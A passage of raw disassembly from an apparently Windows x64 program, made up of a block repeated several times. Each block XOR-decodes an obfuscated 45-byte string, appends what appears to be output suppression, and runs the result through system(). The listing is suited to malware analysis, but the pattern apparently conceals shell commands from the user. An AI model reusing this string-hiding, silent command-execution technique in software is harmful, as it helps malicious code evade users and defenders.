pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005f170
cmp r8d, 0x2d
jge 0x14005f2a0
movsxd rax, r8d
lea r9, [rbp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005f270
mov r8, r10
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x8f0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x8d0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2b8]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x8b0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x8b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x2b8]
call fcn.140071c30
nop
lea rcx, [rbp + 0x8d0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x8f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x910]
call fcn.140071c30
nop
lea rcx, [rbp + 0x930]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0x9d0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0x9b0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f6b68]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [0x1400f6b78]
movups xmmword [rbp + 0x18], xmm1
movsd xmm0, qword [0x1400f6b88]
movsd qword [rbp + 0x28], xmm0
mov ecx, dword [0x1400f6b90]
mov dword [rbp + 0x30], ecx
movzx eax, byte [0x1400f6b94]
mov byte [rbp + 0x34], al
mov r8d, r14d
cmp r15d, 2
jl 0x14005f4cb
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0xc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005f3e0
cmp r8d, 0x2d
jge 0x14005f510
movsxd rax, r8d
lea r9, [rbp + 8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005f4e0
mov r8, r10
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x990]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0x970]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2d8]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x950]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x950]
call fcn.140071c30
nop
lea rcx, [rbp + 0x2d8]
call fcn.140071c30
nop
lea rcx, [rbp + 0x970]
call fcn.140071c30
nop
lea rcx, [rbp + 0x990]
call fcn.140071c30
nop
lea rcx, [rbp + 0x9b0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x9d0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xa70]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xa50]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f67a0]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x1400f67b0]
movups xmmword [rbp - 0x18], xmm1
movsd xmm0, qword [0x1400f67c0]
movsd qword [rbp - 8], xmm0
mov ecx, dword [0x1400f67c8]
mov dword [rbp], ecx
movzx eax, byte [0x1400f67cc]
mov byte [rbp + 4], al
mov r8d, r14d
cmp r15d, 2
jl 0x14005f73b
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005f650
cmp r8d, 0x2d
jge 0x14005f780
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005f750
mov r8, r10
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0xa30]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xa10]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x2f8]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x9f0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x9f0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x2f8]
call fcn.140071c30
nop
lea rcx, [rbp + 0xa10]
call fcn.140071c30
nop
lea rcx, [rbp + 0xa30]
call fcn.140071c30
nop
lea rcx, [rbp + 0xa50]
call fcn.140071c30
nop
lea rcx, [rbp + 0xa70]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xb10]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xaf0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f8f60]
movups xmmword [rbp + 0x1e8], xmm0
movups xmm1, xmmword [0x1400f8f70]
movups xmmword [rbp + 0x1f8], xmm1
movsd xmm0, qword [0x1400f8f80]
movsd qword [rbp + 0x208], xmm0
mov ecx, dword [0x1400f8f88]
mov dword [rbp + 0x210], ecx
movzx eax, byte [0x1400f8f8c]
mov byte [rbp + 0x214], al
mov r8d, r14d
cmp r15d, 2
jl 0x14005f9bb
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0x1ec]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005f8d0
cmp r8d, 0x2d
jge 0x14005fa00
movsxd rax, r8d
lea r9, [rbp + 0x1e8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005f9d0
mov r8, r10
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xad0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xab0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x318]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x318]
lea rcx, [rbp + 0xa90]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xa90]
call fcn.140071c30
nop
lea rcx, [rbp + 0x318]
call fcn.140071c30
nop
lea rcx, [rbp + 0xab0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xad0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xaf0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xb10]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xbb0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xb90]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f61a0]
movups xmmword [rbp + 0x1b8], xmm0
movups xmm1, xmmword [0x1400f61b0]
movups xmmword [rbp + 0x1c8], xmm1
movsd xmm0, qword [0x1400f61c0]
movsd qword [rbp + 0x1d8], xmm0
mov ecx, dword [0x1400f61c8]
mov dword [rbp + 0x1e0], ecx
movzx eax, byte [0x1400f61cc]
mov byte [rbp + 0x1e4], al
mov r8d, r14d
cmp r15d, 2
jl 0x14005fc3b
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0x1bc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005fb50
cmp r8d, 0x2d
jge 0x14005fc80
movsxd rax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005fc50
mov r8, r10
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0xb70]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xb50]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x338]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0xb30]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xb30]
call fcn.140071c30
nop
lea rcx, [rbp + 0x338]
call fcn.140071c30
nop
lea rcx, [rbp + 0xb50]
call fcn.140071c30
nop
lea rcx, [rbp + 0xb70]
call fcn.140071c30
nop
lea rcx, [rbp + 0xb90]
call fcn.140071c30
nop
lea rcx, [rbp + 0xbb0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xc50]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xc30]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f8e88]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [0x1400f8e98]
movups xmmword [rbp - 0x48], xmm1
movsd xmm0, qword [0x1400f8ea8]
movsd qword [rbp - 0x38], xmm0
mov ecx, dword [0x1400f8eb0]
mov dword [rbp - 0x30], ecx
movzx eax, byte [0x1400f8eb4]
mov byte [rbp - 0x2c], al
mov r8d, r14d
cmp r15d, 2
jl 0x14005feab
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp - 0x54]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14005fdc0
cmp r8d, 0x2d
jge 0x14005fef0
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14005fec0
mov r8, r10
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0xc10]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xbf0]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x358]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x358]
lea rcx, [rbp + 0xbd0]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xbd0]
call fcn.140071c30
nop
lea rcx, [rbp + 0x358]
call fcn.140071c30
nop
lea rcx, [rbp + 0xbf0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xc10]
call fcn.140071c30
nop
lea rcx, [rbp + 0xc30]
call fcn.140071c30
nop
lea rcx, [rbp + 0xc50]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xcf0]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xcd0]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f60a0]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [0x1400f60b0]
movups xmmword [rbp + 0x198], xmm1
movsd xmm0, qword [0x1400f60c0]
movsd qword [rbp + 0x1a8], xmm0
mov ecx, dword [str.A.YDe]
mov dword [rbp + 0x1b0], ecx
movzx eax, byte [0x1400f60cc]
mov byte [rbp + 0x1b4], al
mov r8d, r14d
cmp r15d, 2
jl 0x14006012b
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0x18c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140060040
cmp r8d, 0x2d
jge 0x140060170
movsxd rax, r8d
lea r9, [rbp + 0x188]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140060140
mov r8, r10
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0xcb0]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xc90]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x378]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0xc70]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xc70]
call fcn.140071c30
nop
lea rcx, [rbp + 0x378]
call fcn.140071c30
nop
lea rcx, [rbp + 0xc90]
call fcn.140071c30
nop
lea rcx, [rbp + 0xcb0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xcd0]
call fcn.140071c30
nop
lea rcx, [rbp + 0xcf0]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xd90]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xd70]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f6ab0]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [0x1400f6ac0]
movups xmmword [rbp + 0x168], xmm1
movsd xmm0, qword [0x1400f6ad0]
movsd qword [rbp + 0x178], xmm0
mov ecx, dword [0x1400f6ad8]
mov dword [rbp + 0x180], ecx
movzx eax, byte [0x1400f6adc]
mov byte [rbp + 0x184], al
mov r8d, r14d
cmp r15d, 2
jl 0x1400603ab
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0x15c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400602c0
cmp r8d, 0x2d
jge 0x1400603f0
movsxd rax, r8d
lea r9, [rbp + 0x158]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400603c0
mov r8, r10
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0xd50]
call fcn.1400729f0
nop
lea r8, [0x1400f5d38]
mov rdx, rax
lea rcx, [rbp + 0xd30]
call fcn.140072780
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x398]
call fcn.1400736a0
nop
lea r8, str.__NUL_2_1
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0xd10]
call fcn.140072780
mov rcx, rax
call fcn.140071b80
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xd10]
call fcn.140071c30
nop
lea rcx, [rbp + 0x398]
call fcn.140071c30
nop
lea rcx, [rbp + 0xd30]
call fcn.140071c30
nop
lea rcx, [rbp + 0xd50]
call fcn.140071c30
nop
lea rcx, [rbp + 0xd70]
call fcn.140071c30
nop
lea rcx, [rbp + 0xd90]
call fcn.140071c30
mov edx, 4
lea rcx, [rbp + 0xe30]
call fcn.14003c4c0
mov rbx, rax
mov edx, 4
lea rcx, [rbp + 0xe10]
call fcn.14003c4c0
mov r10, rax
movups xmm0, xmmword [0x1400f9430]
movups xmmword [rbp + 0x128], xmm0
movups xmm1, xmmword [0x1400f9440]
movups xmmword [rbp + 0x138], xmm1
movsd xmm0, qword [0x1400f9450]
movsd qword [rbp + 0x148], xmm0
mov ecx, dword [str.A_YDe]
mov dword [rbp + 0x150], ecx
movzx eax, byte [0x1400f945c]
mov byte [rbp + 0x154], al
mov r8d, r14d
cmp r15d, 2
jl 0x14006062b
movdqa xmmword [rsp + 0x40], xmm10
lea rcx, [rbp + 0x12c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
